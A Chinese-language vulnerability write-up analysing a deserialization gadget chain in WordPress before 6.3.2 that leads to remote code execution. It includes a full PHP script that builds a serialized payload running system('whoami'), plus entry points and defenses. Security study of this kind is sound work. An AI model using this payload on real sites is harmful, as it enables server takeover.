一条有趣的WordPress反序列化链分析
字数 1492 2025-08-06 08:35:30

WordPress反序列化漏洞分析与利用教学文档

漏洞概述

本漏洞影响WordPress < 6.3.2版本,涉及一条复杂的反序列化链,最终可实现远程代码执行(RCE)。漏洞利用链以WP_Theme类的__toString方法为起点,通过一系列精心构造的对象调用,最终到达WpOrg\Requests\Hooks类的dispatch方法实现命令执行。

漏洞利用链分析

关键类与方法

  1. WP_Theme类

    • __toString(): 对象被当作字符串使用时自动调用
    • display(): 显示主题信息
    • get(): 获取主题头信息
    • offsetGet(): 实现ArrayAccess接口的方法
  2. WP_Block_List类

    • 实现ArrayAccess接口
    • offsetGet(): 获取块信息
  3. WP_Block_Type_Registry类

    • get_registered(): 获取已注册的块类型
  4. WpOrg\Requests\Session类

    • get(): 发起GET请求
    • request(): 处理请求
  5. WpOrg\Requests\Hooks类

    • dispatch(): 执行回调函数

利用链流程

  1. 反序列化触发WP_Theme__toString方法
  2. __toString调用display("Name")
  3. display调用get("Name")
  4. get方法访问$this->headers["Name"],触发WP_Block_ListoffsetGet
  5. offsetGet实例化WP_Block对象
  6. WP_Block构造方法调用$registry->get_registered($this->name)
  7. get_registered访问$this->registered_block_types[$name],触发WP_ThemeoffsetGet
  8. offsetGet处理"Parent Theme"分支,调用$this->parent()->get("Name")
  9. parentSession对象,调用其get方法
  10. get调用request方法
  11. request调用Requests::request
  12. Requests::request调用$options['hooks']->dispatch
  13. dispatch方法执行回调函数,最终实现RCE

漏洞利用步骤

1. 构造恶意序列化对象

<?php
namespace WpOrg\Requests {
    class Session {
        private $url;
        private $headers;
        private $options;

        public function __construct($url, $headers, $options) {
            $this->url = $url;
            $this->headers = $headers;
            $this->options = $options;
        }
    }

    class Hooks {
        public $hooks;
        public function __construct($hooks) {
            $this->hooks = $hooks;
        }
    }
}

namespace {
    use WpOrg\Requests\Hooks;
    use WpOrg\Requests\Session;

    class WP_Theme {
        private $headers;
        private $parent;
        public function __construct($headers, $parent) {
            $this->headers = $headers;
            $this->parent = $parent;
        }
    }

    class WP_Block_List {
        private $blocks;
        private $registry;
        public function __construct($blocks, $registry) {
            $this->blocks = $blocks;
            $this->registry = $registry;
        }
    }

    class WP_Block_Type_Registry {
        private $registered_block_types;
        public function __construct($registered_block_types) {
            $this->registered_block_types = $registered_block_types;
        }
    }

    $hooks = array(
        "requests.before_request" => array(
            array(
                array(
                    new Hooks(array(
                        "http://p:0/Name" => array(
                            array("system")
                        )
                    )),
                    "dispatch"
                )
            )
        )
    );

    $hook = new Hooks($hooks);
    $parent = new Session("http://p:0", array("whoami"), array("hooks" => $hook));
    $registered_block_types = new WP_Theme(null, $parent);
    $block = ["blockName" => "Parent Theme"];
    $blocks = ["Name" => $block];
    $registry = new WP_Block_Type_Registry($registered_block_types);
    $headers = new WP_Block_List($blocks, $registry);
    $theme = new WP_Theme($headers, null);

    echo urlencode(serialize($theme));
}

2. 寻找反序列化入口点

WordPress中存在多个可能触发反序列化的点:

  • maybe_unserialize()函数
  • 管理员用户名设置
  • 站点名称设置
  • 通过SQL注入向数据库写入恶意payload

3. 利用SQL注入写入payload

根据wpscan报告,存在SQL注入漏洞可以在wp_termmeta表中插入新行,插入的元数据在检索时会经过maybe_unserialize处理,从而触发RCE。

防御措施

  1. 升级WordPress到6.3.2或更高版本
  2. 对用户输入进行严格过滤和验证
  3. 限制反序列化操作,避免反序列化用户可控数据
  4. 使用最新版PHP,利用其内置的安全机制

总结

该漏洞展示了PHP反序列化漏洞的复杂性,通过精心构造的对象链,攻击者可以利用WordPress核心类之间的交互关系实现远程代码执行。理解这类漏洞需要对PHP对象序列化、魔术方法和类之间的交互有深入理解。防御此类漏洞的关键在于严格控制反序列化操作和及时更新系统。

WordPress反序列化漏洞分析与利用教学文档 漏洞概述 本漏洞影响WordPress < 6.3.2版本,涉及一条复杂的反序列化链,最终可实现远程代码执行(RCE)。漏洞利用链以 WP_Theme 类的 __toString 方法为起点,通过一系列精心构造的对象调用,最终到达 WpOrg\Requests\Hooks 类的 dispatch 方法实现命令执行。 漏洞利用链分析 关键类与方法 WP_ Theme类 __toString() : 对象被当作字符串使用时自动调用 display() : 显示主题信息 get() : 获取主题头信息 offsetGet() : 实现ArrayAccess接口的方法 WP_ Block_ List类 实现ArrayAccess接口 offsetGet() : 获取块信息 WP_ Block_ Type_ Registry类 get_registered() : 获取已注册的块类型 WpOrg\Requests\Session类 get() : 发起GET请求 request() : 处理请求 WpOrg\Requests\Hooks类 dispatch() : 执行回调函数 利用链流程 反序列化触发 WP_Theme 的 __toString 方法 __toString 调用 display("Name") display 调用 get("Name") get 方法访问 $this->headers["Name"] ,触发 WP_Block_List 的 offsetGet offsetGet 实例化 WP_Block 对象 WP_Block 构造方法调用 $registry->get_registered($this->name) get_registered 访问 $this->registered_block_types[$name] ,触发 WP_Theme 的 offsetGet offsetGet 处理"Parent Theme"分支,调用 $this->parent()->get("Name") parent 是 Session 对象,调用其 get 方法 get 调用 request 方法 request 调用 Requests::request Requests::request 调用 $options['hooks']->dispatch dispatch 方法执行回调函数,最终实现RCE 漏洞利用步骤 1. 构造恶意序列化对象 2. 寻找反序列化入口点 WordPress中存在多个可能触发反序列化的点: maybe_unserialize() 函数 管理员用户名设置 站点名称设置 通过SQL注入向数据库写入恶意payload 3. 利用SQL注入写入payload 根据wpscan报告,存在SQL注入漏洞可以在 wp_termmeta 表中插入新行,插入的元数据在检索时会经过 maybe_unserialize 处理,从而触发RCE。 防御措施 升级WordPress到6.3.2或更高版本 对用户输入进行严格过滤和验证 限制反序列化操作,避免反序列化用户可控数据 使用最新版PHP,利用其内置的安全机制 总结 该漏洞展示了PHP反序列化漏洞的复杂性,通过精心构造的对象链,攻击者可以利用WordPress核心类之间的交互关系实现远程代码执行。理解这类漏洞需要对PHP对象序列化、魔术方法和类之间的交互有深入理解。防御此类漏洞的关键在于严格控制反序列化操作和及时更新系统。